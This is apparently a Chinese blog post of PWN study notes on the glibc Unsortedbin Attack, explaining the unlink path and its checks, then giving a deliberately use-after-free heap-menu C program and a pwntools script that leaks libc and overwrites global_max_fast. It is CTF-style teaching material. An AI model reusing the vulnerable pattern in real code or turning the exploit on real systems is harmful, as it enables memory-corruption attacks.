当前位置: 首页 > news >正文

【我的 PWN 学习手札】Unsortedbin Attack

前言

Unsortedbin Attack不能说是一种getshell的方式,而只能说是一种利用手法。在glibc2.28之前有效,条件是存在uaf,效果是能在某一地址写一个大数(glibc上的一个地址)。 


一、Unsortedbin的unlink过程

unsortedbin 中 free chunk 的组织形式是双向链表,取出chunk时,有如下代码:

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

实现的操作是将 unsortedbin 中的最后一个chunk取出。main arena的对应 bk 就要只想 victim 的bck,同样,bck 的 fd 也要指向 main arena。

二、Unsortedbin Attack

如果我们利用 UAF 或者任意地址写,将 unsortedbin 将被 unlink 的 victim 的 bk 改为其他地址如target,那么会发生什么呢?

当进行上述操作时: 

 

换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址。通常可以利用此方法向 global_max_fast 写入一个较大的值,从而扩大 fastbin 范围,甚至 fastbins 数组溢 出造成任意地址写。

三、保护与检查 

(1)size检查 

if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)|| __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0))malloc_printerr ("malloc(): memory corruption");

这个检查是对脱链的 free chunk(即 victim)检查的,本来就是 unsortedbin 链上的一块正常的chunk,因此天然来说是无误的。

(2)target可写

因为要往target写数值,所以这个条件也是必要的,因为如果该地址本来就不能写数值,又何来覆写一说? 

总上来说,条件很好满足。然而在glibc2.28及以后,对 bck 的 fd 指针进行了检查,所以此方法基本失效。

四、测试与模板

 

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)# leak libc
add(0,0x100)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7c1ab1200000-0x7c1ab159bb78
success(hex(libc_base))# Unsortedbin Attack
edit(0,0x10,p64(0)+p64(libc_base+libc.sym['global_max_fast']-0x10))
pause()
add(2,0x100)
pause()
io.interactive()

http://www.mrgr.cn/news/28300.html

相关文章:

  • IDEA2024:右下角显示内存
  • 25.<Spring博客系统②(实现JWT令牌登录接口+强制登录+获取用户信息+获取作者信息)>
  • AVL树了解并简单实现
  • 分享一些Kafka集群优化的最佳实践?
  • 远程连接服务器
  • Centos使用人大金仓ksql
  • 【苍穹外卖】总结
  • Leetcode 找到字符串中所有字母异位词
  • 研究生招生宣传(2024秋)
  • 12 数组——27. 移除元素 ★
  • 1. TypeScript基本语法
  • Autosar BswM配置-手动建立Swc Port实现自定义模式切换
  • Anaconda安装并配置Python环境
  • STM32外设之LTDC/DMA2D—液晶显示(野火)
  • Zookeeper学习
  • java实现系统文件管理
  • 鸿蒙媒体开发系列01——资源分类访问
  • 深入剖析:C++类对象的内存布局与优化
  • 【C++】——list
  • OJ题-反转链表
  • 利士策分享,家和万事兴:幸福生活的基石
  • Linux 开发工具(vim、gcc/g++、make/Makefile)+【小程序:进度条】-- 详解
  • JVM HotSpot 虚拟机: 对象的创建, 内存布局和访问定位
  • [Golang] Sync
  • 【多线程】深入剖析线程池的应用
  • docker发布redis容器